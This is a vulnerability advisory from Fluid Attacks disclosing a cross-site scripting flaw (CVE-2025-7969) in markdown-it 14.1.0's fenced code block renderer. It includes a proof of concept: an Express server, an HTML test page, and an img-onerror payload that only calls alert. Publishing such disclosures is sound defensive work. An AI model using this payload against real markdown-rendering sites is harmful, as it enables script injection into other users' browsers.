Markdown-it 14.1.0 - Cross-site scripting (XSS)
6,9
Medium
6,9
Medium
Discovered by
Offensive Team, Fluid Attacks
Summary
Full name
Markdown-it 14.1.0 - Cross-site scripting (XSS) via fenced code block rendering functionality
Code name
State
Public
Release date
21 ago 2025
Affected product
Markdown-it
Vendor
Markdown-it
Affected version(s)
14.1.0
Vulnerability name
Reflected cross-site scripting (XSS)
Vulnerability type
Remotely exploitable
Yes
CVSS v4.0 vector string
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
CVSS v4.0 base score
6.9
Exploit available
Yes
CVE ID(s)
Description
Cross-site Scripting (XSS) in markdown-it 14.1.0 allows for the arbitrary execution of JavaScript when custom highlight functions are used.
Vulnerability
The vulnerability exists in lib/renderer.mjs
lines 29-75, where the fenced block renderer performs a simple string check.
if (highlighted.indexOf('<pre') === 0) { return highlighted + '\n' }
If a custom highlight function returns HTML that starts with <pre
, the content is directly returned without sanitization, allowing the injection of malicious HTML elements and JavaScript code.
PoC
Install markdown-it using npm.
npm install markdown-it
Create the
test_server.mjs
file with the following code:#!/usr/bin/env node import express from 'express' import path from 'path' import { fileURLToPath } from 'url' import MarkdownIt from 'markdown-it'; const __filename = fileURLToPath(import.metA.url) // change metA to meta const __dirname = path.dirname(__filename) const app = express() const port = 3000 // Serve static files app.use(express.static('.')) app.use(express.json()) app.use(express.urlencoded({ extended: true })) // Serve the main test page app.get('/', (req, res) => { res.sendFile(path.join(__dirname, 'xss_test.html')) }) // API endpoint to test markdown rendering server-side app.post('/api/render', async (req, res) => { try { const { markdown } = req.body let md // Highlight wrapper that could be vulnerable to user input const createHighlightWrapper = () => { return function(str, lang, attrs) { // Simulate a highlight function that processes user input // This could be a wrapper around highlight.js or similar return str } } md = new MarkdownIt({ highlight: createHighlightWrapper() }) console.log(markdown); const result = md.render(markdown) res.json({ html: result }) } catch (error) { console.error('Error rendering markdown:', error) res.status(500).json({ error: error.message }) } }) // Start server app.listen(port, () => { console.log(`🚀 XSS Test Server running at http://localhost:${port}`) console.log(`📝 Open your browser and navigate to the URL above to test the vulnerability`) console.log(`⚠️ WARNING: This server demonstrates XSS vulnerabilities. Use only for testing!`) })
Create the xss_test.html file:
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>markdown-it XSS Vulnerability Test</title> <style> body { font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; max-width: 1200px; margin: 0 auto; padding: 20px; background-color: #f5f5f5; } .header { background: linear-gradient(135deg, #667eea 0%, #764ba2 100%); color: white; padding: 20px; border-radius: 10px; margin-bottom: 30px; text-align: center; } .warning { background-color: #fff3cd; color: #856404; padding: 15px; border-radius: 5px; border-left: 4px solid #ffc107; margin-bottom: 20px; } .test-container { background: white; padding: 20px; border-radius: 10px; box-shadow: 0 2px 10px rgba(0,0,0,0.1); margin-bottom: 30px; } .test-group { margin-bottom: 30px; padding: 20px; border: 2px solid #e9ecef; border-radius: 8px; } .test-group.vulnerable { border-color: #dc3545; background-color: #fdf2f2; } .test-group.safe { border-color: #28a745; background-color: #f2f9f2; } textarea { width: 100%; height: 150px; padding: 10px; border: 1px solid #ddd; border-radius: 5px; font-family: 'Courier New', monospace; font-size: 14px; resize: vertical; } button { background-color: #007bff; color: white; padding: 10px 20px; border: none; border-radius: 5px; cursor: pointer; font-size: 16px; margin: 10px 5px; } button:hover { background-color: #0056b3; } button.dangerous { background-color: #dc3545; } button.dangerous:hover { background-color: #c82333; } button.safe { background-color: #28a745; } button.safe:hover { background-color: #218838; } .result { margin-top: 20px; padding: 15px; border-radius: 5px; background-color: #f8f9fa; border: 1px solid #e9ecef; } .result h3 { margin-top: 0; color: #495057; } .result-content { background-color: white; padding: 15px; border-radius: 5px; border: 1px solid #ddd; margin-top: 10px; } .code-block { background-color: #f8f9fa; padding: 10px; border-radius: 5px; font-family: 'Courier New', monospace; font-size: 14px; border: 1px solid #e9ecef; overflow-x: auto; } </style> </head> <body> <div class="header"> <h1>🔍 markdown-it XSS Vulnerability Test</h1> <p>CVE Research: Highlight Function XSS Injection</p> </div> <div class="warning"> <strong>⚠️ WARNING:</strong> This page demonstrates XSS vulnerabilities for security research purposes. The exploits shown here will execute JavaScript in your browser. Use only for testing! </div> <div class="test-container"> <h2>📝 Test Input</h2> <p>Enter markdown code with fenced code blocks to test the vulnerability:</p> <textarea id="markdownInput" placeholder="Enter markdown here...">```javascript <code>console.log("Hello World");</code><img src='x' onerror='alert("🚨 XSS Executed!")'> ```</textarea> </div> <!-- Test 1: Vulnerable Code Block --> <div class="test-group vulnerable"> <h2>🚨 Test 1: Vulnerable Code Block XSS</h2> <p><strong>Vulnerability:</strong> Code block content that starts with <pre> bypasses escaping</p> <p><em>Scenario: User enters code content that starts with <pre> tag</em></p> <button class="dangerous" onclick="testVulnerability('vulnerable')">Test Vulnerable Code</button> <div id="result1" class="result" style="display: none;"> <h3>Rendered Output:</h3> <div id="output1" class="result-content"></div> </div> </div> <!-- Test 2: Safe Example --> <div class="test-group safe"> <h2>✅ Test 2: Safe Highlighting (Comparison)</h2> <p><strong>Safe:</strong> Highlight function doesn't start with <pre> so output gets properly escaped</p> <button class="safe" onclick="testVulnerability('safe')">Test Safe Highlighting</button> <div id="result2" class="result" style="display: none;"> <h3>Rendered Output:</h3> <div id="output2" class="result-content"></div> </div> </div> <div class="test-container"> <h2>📊 Vulnerability Analysis</h2> <div class="code-block"> <strong>Vulnerable Code Path (lib/renderer.mjs):</strong><br> if (highlighted.indexOf('<pre') === 0) {<br> return highlighted + '\n' // ⚠️ Direct return without escaping<br> } </div> <p><strong>Root Cause:</strong> The fence renderer assumes that highlight functions returning HTML starting with "<pre" are safe and returns them directly without any sanitization.</p> <p><strong>Impact:</strong> Malicious highlight functions can inject arbitrary HTML and JavaScript, leading to XSS attacks.</p> </div> <script> async function testVulnerability(testType) { const markdownInput = document.getElementById('markdownInput'); const outputDiv = document.getElementById('output' + getTestNumber(testType)); const resultDiv = document.getElementById('result' + getTestNumber(testType)); const exampleInputs = { 'vulnerable': `# Vulnerable Code Block XSS Test \`\`\`javascript <code>console.log("Hello World");</code><img src='x' onerror='alert("🚨 XSS Executed!")'> \`\`\` This demonstrates how code content starting with <pre> can inject XSS.`, 'safe': `# Safe Highlighting Test <code>console.log("Hello World");</code><img src='x' onerror='alert("This won't execute as XSS")'> This demonstrates safe highlighting that properly escapes content.` }; // Set example input for the test type if (exampleInputs[testType]) { markdownInput.value = exampleInputs[testType]; } try { const response = await fetch('/api/render', { method: 'POST', headers: { 'Content-Type': 'application/json', }, body: JSON.stringify({ markdown: markdownInput.value, testType: testType }) }); const data = await response.json(); if (data.error) { outputDiv.innerHTML = `<div style="color: red;">Error: ${data.error}</div>`; } else { // Show the raw HTML for inspection outputDiv.innerHTML = ` <div style="margin-bottom: 15px;"> <strong>Raw HTML:</strong> <pre style="background: #f8f9fa; padding: 10px; border-radius: 5px; font-size: 12px; overflow-x: auto;">${escapeHtml(data.html)}</pre> </div> <div> <strong>Rendered Result:</strong> <div style="border: 2px solid #007bff; padding: 15px; margin-top: 10px; border-radius: 5px;"> ${data.html} </div> </div> `; } resultDiv.style.display = 'block'; } catch (error) { outputDiv.innerHTML = `<div style="color: red;">Network Error: ${error.message}</div>`; resultDiv.style.display = 'block'; } } function getTestNumber(testType) { switch (testType) { case 'vulnerable': return '1'; case 'safe': return '2'; default: return '1'; } } function escapeHtml(text) { const div = document.createElement('div'); div.textContent = text; return div.innerHTML; } // Add some example inputs document.addEventListener('DOMContentLoaded', function() { const textarea = document.getElementById('markdownInput'); textarea.value = `\`\`\`javascript <code>console.log("Hello World");</code><img src='x' onerror='alert("This won't execute as XSS")'> \`\`\``; }); </script> </body> </html>
Run the server with the following command:
node test_server.mjs
Navigate to http://localhost:3000 and click on Test Vulnerable Code to trigger the vulnerability.
Evidence of Exploitation

Our security policy
We have reserved the ID CVE-2025-7969 to refer to this issue from now on.
System Information
Markdown-it
Version 14.1.0
Operative System: Any
References
Github Repository: https://github.com/markdown-it/markdown-it
Mitigation
There is currently no patch available for this vulnerability.
Credits
The vulnerability was discovered by Camilo Vera from Fluid Attacks' Offensive Team.
Timeline
17 jul 2025
Vulnerability discovered
21 jul 2025
Vendor contacted
23 jul 2025
Vendor replied
29 jul 2025
Follow-up with vendor
21 ago 2025
Public disclosure
Does your application use this vulnerable software?
During our free trial, our tools assess your application, identify vulnerabilities, and provide recommendations for their remediation.

Las soluciones de Fluid Attacks permiten a las organizaciones identificar, priorizar y remediar vulnerabilidades en su software a lo largo del SDLC. Con el apoyo de la IA, herramientas automatizadas y pentesters, Fluid Attacks acelera la mitigación de la exposición al riesgo de las empresas y fortalece su postura de ciberseguridad.
Soluciones
Objetivos
Suscríbete a nuestro boletín
Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.
© 2025 Fluid Attacks. We hack your software.

Las soluciones de Fluid Attacks permiten a las organizaciones identificar, priorizar y remediar vulnerabilidades en su software a lo largo del SDLC. Con el apoyo de la IA, herramientas automatizadas y pentesters, Fluid Attacks acelera la mitigación de la exposición al riesgo de las empresas y fortalece su postura de ciberseguridad.
Soluciones
Objetivos
Suscríbete a nuestro boletín
Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.
© 2025 Fluid Attacks. We hack your software.

Las soluciones de Fluid Attacks permiten a las organizaciones identificar, priorizar y remediar vulnerabilidades en su software a lo largo del SDLC. Con el apoyo de la IA, herramientas automatizadas y pentesters, Fluid Attacks acelera la mitigación de la exposición al riesgo de las empresas y fortalece su postura de ciberseguridad.
Soluciones
Objetivos
Suscríbete a nuestro boletín
Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.
© 2025 Fluid Attacks. We hack your software.